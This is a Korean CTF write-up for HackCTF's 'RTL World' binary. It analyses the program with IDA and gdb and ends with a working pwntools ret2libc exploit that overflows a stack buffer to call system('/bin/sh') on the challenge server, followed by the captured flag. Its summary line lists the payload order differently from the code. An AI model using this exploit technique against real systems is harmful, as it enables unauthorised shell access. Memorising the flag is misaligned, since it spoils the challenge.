[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 없음

 

바이너리 실행

  • 사용자로부터 입력받음

입력 값에 따른 결과 값 정리

  1. Information the Binary Boss!
[Binary Boss]

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
ASLR:  Enable
Binary Boss live in 0xf7f213d0
Binart Boss HP is 140 + Armor + 4

 

2. Make Money

This world is F*cking JabonJui
1) Farming... -> 100 gold
2) Item selling... -> 350 gold
3) Hunting... -> 500 gold
(Job)>>>
++ 4) Wow! you can find Hidden number!
Life is Just a One Shot...
Gambling...
-> 1714636915 gold

 

3. Get the System Armor

System Armor : 0xf7d5a2e0

 

4. Get the Shell Sword

Shell Sword : 0xf7e9b0af

 

5. Kill the Binary Boss!!!

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@14
  int v4; // [esp+10h] [ebp-90h]@5
  char buf; // [esp+14h] [ebp-8Ch]@14
  void *v6; // [esp+94h] [ebp-Ch]@1
  void *handle; // [esp+98h] [ebp-8h]@1
  void *s1; // [esp+9Ch] [ebp-4h]@1

  setvbuf(stdout, 0, 2, 0);
  handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
  v6 = dlsym(handle, "system");
  dlclose(handle);
  for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
    ;
  puts("\\n\\nNPC [Village Presient] : ");
  puts("Binary Boss made our village fall into disuse...");
  puts("If you Have System Armor && Shell Sword.");
  puts("You can kill the Binary Boss...");
  puts("Help me Pwnable Hero... :(\\n");
  printf("Your Gold : %d\\n", gold);
  while ( 1 )
  {
    Menu();
    printf(">>> ");
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        system("clear");
        puts("[Binary Boss]\\n");
        puts("Arch:     i386-32-little");
        puts("RELRO:    Partial RELRO");
        puts("Stack:    No canary found");
        puts("NX:       NX enabled");
        puts("PIE:      No PIE (0x8048000)");
        puts("ASLR:  Enable");
        printf("Binary Boss live in %p\\n", handle);
        puts("Binart Boss HP is 140 + Armor + 4\\n");
        break;
      case 2:
        Get_Money(gold);
        break;
      case 3:
        if ( gold <= 1999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 1999;
          printf("System Armor : %p\\n", v6);
        }
        break;
      case 4:
        if ( gold <= 2999 )
        {
          puts("You don't have gold... :(");
        }
        else
        {
          gold -= 2999;
          printf("Shell Sword : %p\\n", s1);
        }
        break;
      case 5:
        printf("[Attack] > ");
        read(0, &buf, 0x400u);
        return 0;
      case 6:
        puts("Your Not Hero... Bye...");
        exit(0);
        return result;
      default:
        continue;
    }
  }
}
  • Binary Boss information을 통해 boss의 주소를 알 수 있음 → 하위 1.5byte는 3d0으로 고정됨(ASLR)
  • Binart Boss HP is 140 + Armor + 4을 보아 dummy(140) + binsh+ ret(4) + system 형태로 입력하는 것이 아닐까 추측
  • 1999 gold로 system address 획득
  • 2999 gold로 binsh address 획득
  • 1024byte만큼 attack에 입력 가능

 

IDA 분석 - Get_Money 함수

int Get_Money()
{
  int result; // eax@1
  int v1; // [esp+8h] [ebp-Ch]@1
  int v2; // [esp+Ch] [ebp-8h]@1
  int v3; // [esp+10h] [ebp-4h]@1

  puts("\\nThis world is F*cking JabonJui");
  puts("1) Farming...");
  puts("2) Item selling...");
  puts("3) Hunting...");
  v3 = 0;
  v2 = rand();
  printf("(Job)>>> ");
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 == 2 )
  {
    puts("\\nItem selling...");
    while ( v3 <= 350 )
      ++v3;
    puts("+ 350 Gold");
    gold += v3;
    result = printf("\\nYour Gold is %d\\n", gold);
  }
  else if ( v1 > 2 )
  {
    if ( v1 == 3 )
    {
      puts("\\nHunting...");
      while ( v3 <= 500 )
        ++v3;
      puts("+ 500 Gold");
      gold += v3;
      result = printf("\\nYour Gold is %d\\n", gold);
    }
    else if ( v1 == 4 )
    {
      puts("\\nWow! you can find Hidden number!");
      puts("Life is Just a One Shot...");
      puts("Gambling...");
      printf("+ %d Gold\\n", v2);
      gold += v2;
      result = printf("\\nYour Gold is %d\\n", gold);
    }
  }
  else if ( v1 == 1 )
  {
    puts("\\nFarming...");
    while ( v3 <= 100 )
      ++v3;
    puts("+ 100 Gold");
    gold += v3;
    result = printf("\\nYour Gold is %d\\n", gold);
  }
  return result;
}
  • hidden number를 통해 한번에 gold를 충족할 수 있음

 

IDA 분석 - Menu 함수

int Menu()
{
  puts("======= Welcome to RTL World =======");
  puts("1) Information the Binary Boss!");
  puts("2) Make Money");
  puts("3) Get the System Armor");
  puts("4) Get the Shell Sword");
  puts("5) Kill the Binary Boss!!!");
  puts("6) Exit");
  return puts("====================================");
}

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048524  _init
0x08048560  read@plt
0x08048570  printf@plt
0x08048580  memcmp@plt
0x08048590  dlclose@plt
0x080485a0  puts@plt
0x080485b0  system@plt
0x080485c0  __gmon_start__@plt
0x080485d0  exit@plt
0x080485e0  __libc_start_main@plt
0x080485f0  dlsym@plt
0x08048600  setvbuf@plt
0x08048610  rand@plt
0x08048620  __isoc99_scanf@plt
0x08048630  dlopen@plt
0x08048640  _start
0x08048670  __x86.get_pc_thunk.bx
0x08048680  deregister_tm_clones
0x080486b0  register_tm_clones
0x080486f0  __do_global_dtors_aux
0x08048710  frame_dummy
0x0804873d  Menu
0x080487a5  Get_Money
0x08048983  main
0x08048c20  __libc_csu_init
0x08048c90  __libc_csu_fini
0x08048c94  _fini
  • main 주소: 0x08048983
  • Get_Money주소: 0x080487a5
  • Menu주소: 0x0804873d

 

gdb 분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x08048983 <+0>:	push   ebp
   0x08048984 <+1>:	mov    ebp,esp
   0x08048986 <+3>:	sub    esp,0xa0
   0x0804898c <+9>:	mov    eax,ds:0x804b060
   0x08048991 <+14>:	mov    DWORD PTR [esp+0xc],0x0
   0x08048999 <+22>:	mov    DWORD PTR [esp+0x8],0x2
   0x080489a1 <+30>:	mov    DWORD PTR [esp+0x4],0x0
   0x080489a9 <+38>:	mov    DWORD PTR [esp],eax
   0x080489ac <+41>:	call   0x8048600 <setvbuf@plt>
   0x080489b1 <+46>:	mov    DWORD PTR [ebp-0x8],0x0
   0x080489b8 <+53>:	mov    DWORD PTR [esp+0x4],0x1
   0x080489c0 <+61>:	mov    DWORD PTR [esp],0x8048e8c
   0x080489c7 <+68>:	call   0x8048630 <dlopen@plt>
   0x080489cc <+73>:	mov    DWORD PTR [ebp-0x8],eax
   0x080489cf <+76>:	mov    DWORD PTR [esp+0x4],0x8048eaa
   0x080489d7 <+84>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080489da <+87>:	mov    DWORD PTR [esp],eax
   0x080489dd <+90>:	call   0x80485f0 <dlsym@plt>
   0x080489e2 <+95>:	mov    DWORD PTR [ebp-0xc],eax
   0x080489e5 <+98>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080489e8 <+101>:	mov    DWORD PTR [esp],eax
   0x080489eb <+104>:	call   0x8048590 <dlclose@plt>
   0x080489f0 <+109>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080489f3 <+112>:	mov    DWORD PTR [ebp-0x4],eax
   0x080489f6 <+115>:	jmp    0x80489fc <main+121>
   0x080489f8 <+117>:	add    DWORD PTR [ebp-0x4],0x1
   0x080489fc <+121>:	mov    eax,DWORD PTR [ebp-0x4]
   0x080489ff <+124>:	mov    DWORD PTR [esp+0x8],0x8
   0x08048a07 <+132>:	mov    DWORD PTR [esp+0x4],0x8048eb1
   0x08048a0f <+140>:	mov    DWORD PTR [esp],eax
   0x08048a12 <+143>:	call   0x8048580 <memcmp@plt>
   0x08048a17 <+148>:	test   eax,eax
   0x08048a19 <+150>:	jne    0x80489f8 <main+117>
   0x08048a1b <+152>:	mov    DWORD PTR [esp],0x8048eb9
   0x08048a22 <+159>:	call   0x80485a0 <puts@plt>
   0x08048a27 <+164>:	mov    DWORD PTR [esp],0x8048ed8
   0x08048a2e <+171>:	call   0x80485a0 <puts@plt>
   0x08048a33 <+176>:	mov    DWORD PTR [esp],0x8048f0c
   0x08048a3a <+183>:	call   0x80485a0 <puts@plt>
   0x08048a3f <+188>:	mov    DWORD PTR [esp],0x8048f38
   0x08048a46 <+195>:	call   0x80485a0 <puts@plt>
   0x08048a4b <+200>:	mov    DWORD PTR [esp],0x8048f58
   0x08048a52 <+207>:	call   0x80485a0 <puts@plt>
   0x08048a57 <+212>:	mov    eax,ds:0x804b04c
   0x08048a5c <+217>:	mov    DWORD PTR [esp+0x4],eax
   0x08048a60 <+221>:	mov    DWORD PTR [esp],0x8048f74
   0x08048a67 <+228>:	call   0x8048570 <printf@plt>
   0x08048a6c <+233>:	jmp    0x8048a6f <main+236>
   0x08048a6e <+235>:	nop
   0x08048a6f <+236>:	call   0x804873d <Menu>
   0x08048a74 <+241>:	mov    DWORD PTR [esp],0x8048f84
   0x08048a7b <+248>:	call   0x8048570 <printf@plt>
   0x08048a80 <+253>:	lea    eax,[ebp-0x90]
   0x08048a86 <+259>:	mov    DWORD PTR [esp+0x4],eax
   0x08048a8a <+263>:	mov    DWORD PTR [esp],0x8048dd9
   0x08048a91 <+270>:	call   0x8048620 <__isoc99_scanf@plt>
   0x08048a96 <+275>:	mov    eax,DWORD PTR [ebp-0x90]
   0x08048a9c <+281>:	cmp    eax,0x6
   0x08048a9f <+284>:	ja     0x8048a6e <main+235>
   0x08048aa1 <+286>:	mov    eax,DWORD PTR [eax*4+0x80490cc]
   0x08048aa8 <+293>:	jmp    eax
   0x08048aaa <+295>:	mov    DWORD PTR [esp],0x8048f89
   0x08048ab1 <+302>:	call   0x80485b0 <system@plt>
   0x08048ab6 <+307>:	mov    DWORD PTR [esp],0x8048f8f
   0x08048abd <+314>:	call   0x80485a0 <puts@plt>
   0x08048ac2 <+319>:	mov    DWORD PTR [esp],0x8048f9e
   0x08048ac9 <+326>:	call   0x80485a0 <puts@plt>
   0x08048ace <+331>:	mov    DWORD PTR [esp],0x8048fb7
   0x08048ad5 <+338>:	call   0x80485a0 <puts@plt>
   0x08048ada <+343>:	mov    DWORD PTR [esp],0x8048fcf
   0x08048ae1 <+350>:	call   0x80485a0 <puts@plt>
   0x08048ae6 <+355>:	mov    DWORD PTR [esp],0x8048fe9
   0x08048aed <+362>:	call   0x80485a0 <puts@plt>
   0x08048af2 <+367>:	mov    DWORD PTR [esp],0x8048ffe
   0x08048af9 <+374>:	call   0x80485a0 <puts@plt>
   0x08048afe <+379>:	mov    DWORD PTR [esp],0x804901b
   0x08048b05 <+386>:	call   0x80485a0 <puts@plt>
   0x08048b0a <+391>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048b0d <+394>:	mov    DWORD PTR [esp+0x4],eax
   0x08048b11 <+398>:	mov    DWORD PTR [esp],0x8049029
   0x08048b18 <+405>:	call   0x8048570 <printf@plt>
   0x08048b1d <+410>:	mov    DWORD PTR [esp],0x8049044
   0x08048b24 <+417>:	call   0x80485a0 <puts@plt>
   0x08048b29 <+422>:	jmp    0x8048c0b <main+648>
   0x08048b2e <+427>:	mov    eax,ds:0x804b04c
   0x08048b33 <+432>:	mov    DWORD PTR [esp],eax
   0x08048b36 <+435>:	call   0x80487a5 <Get_Money>
   0x08048b3b <+440>:	jmp    0x8048c0b <main+648>
   0x08048b40 <+445>:	mov    eax,ds:0x804b04c
   0x08048b45 <+450>:	cmp    eax,0x7cf
   0x08048b4a <+455>:	jle    0x8048b73 <main+496>
   0x08048b4c <+457>:	mov    eax,ds:0x804b04c
   0x08048b51 <+462>:	sub    eax,0x7cf
   0x08048b56 <+467>:	mov    ds:0x804b04c,eax
   0x08048b5b <+472>:	mov    eax,DWORD PTR [ebp-0xc]
   0x08048b5e <+475>:	mov    DWORD PTR [esp+0x4],eax
   0x08048b62 <+479>:	mov    DWORD PTR [esp],0x8049067
   0x08048b69 <+486>:	call   0x8048570 <printf@plt>
   0x08048b6e <+491>:	jmp    0x8048c0b <main+648>
   0x08048b73 <+496>:	mov    DWORD PTR [esp],0x804907a
   0x08048b7a <+503>:	call   0x80485a0 <puts@plt>
   0x08048b7f <+508>:	jmp    0x8048c0b <main+648>
   0x08048b84 <+513>:	mov    eax,ds:0x804b04c
   0x08048b89 <+518>:	cmp    eax,0xbb7
   0x08048b8e <+523>:	jle    0x8048bb4 <main+561>
   0x08048b90 <+525>:	mov    eax,ds:0x804b04c
   0x08048b95 <+530>:	sub    eax,0xbb7
   0x08048b9a <+535>:	mov    ds:0x804b04c,eax
   0x08048b9f <+540>:	mov    eax,DWORD PTR [ebp-0x4]
   0x08048ba2 <+543>:	mov    DWORD PTR [esp+0x4],eax
   0x08048ba6 <+547>:	mov    DWORD PTR [esp],0x8049094
   0x08048bad <+554>:	call   0x8048570 <printf@plt>
   0x08048bb2 <+559>:	jmp    0x8048c0b <main+648>
   0x08048bb4 <+561>:	mov    DWORD PTR [esp],0x804907a
   0x08048bbb <+568>:	call   0x80485a0 <puts@plt>
   0x08048bc0 <+573>:	jmp    0x8048c0b <main+648>
   0x08048bc2 <+575>:	mov    DWORD PTR [esp],0x80490a6
   0x08048bc9 <+582>:	call   0x8048570 <printf@plt>
   0x08048bce <+587>:	mov    DWORD PTR [esp+0x8],0x400
   0x08048bd6 <+595>:	lea    eax,[ebp-0x8c]
   0x08048bdc <+601>:	mov    DWORD PTR [esp+0x4],eax
   0x08048be0 <+605>:	mov    DWORD PTR [esp],0x0
   0x08048be7 <+612>:	call   0x8048560 <read@plt>
=> 0x08048bec <+617>:	mov    eax,0x0
   0x08048bf1 <+622>:	jmp    0x8048c10 <main+653>
   0x08048bf3 <+624>:	mov    DWORD PTR [esp],0x80490b2
   0x08048bfa <+631>:	call   0x80485a0 <puts@plt>
   0x08048bff <+636>:	mov    DWORD PTR [esp],0x0
   0x08048c06 <+643>:	call   0x80485d0 <exit@plt>
   0x08048c0b <+648>:	jmp    0x8048a6e <main+235>
   0x08048c10 <+653>:	leave  
   0x08048c11 <+654>:	ret    
End of assembler dump.
  • 사용자의 입력은 $ebp-0x8c에 저장
  • main+270에 bp 걸어 5(attack) 입력
  • attack에서 사용자의 입력은 0xffffcfcc에 저장

  • 0xffffd05c에서 __libc_start_main+231 확인
  • 사용자의 입력~0xffffd05c까지의 offset = 144(0x90)

 

문제 해결

  • system(”/bin/sh”)를 실행해야 하는 ROP 기법 적용
  • 4번 hidden number를 이용해 gold 획득
  • 즉석으로 boss 주소와 binsh, system 주소 획득하여 exploit 시도
💡 dummy(144) + binsh + dummy + system 

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3010)
e = ELF("./rtl_world")

#make money
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('>>> ')

#system
p.sendline('3')
p.recvuntil(' : ')
system = int(p.recv(10), 16)
log.info("system: "+ hex(system))

#binsh
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil(' : ')
binsh = int(p.recv(10), 16)
log.info("binsh: "+ hex(binsh))

#payload
payload = "a"*144
payload += p32(system)
payload += "b" *4
payload += p32(binsh)

p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('> ')
p.sendline(payload)

p.interactive()


flag

🍒  HackCTF{17_w45_4_6r347_r7l_w0rld}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2022.10.30
[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] g++ pwn  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30
[HackCTF] 1996  (0) 2022.10.30

+ Recent posts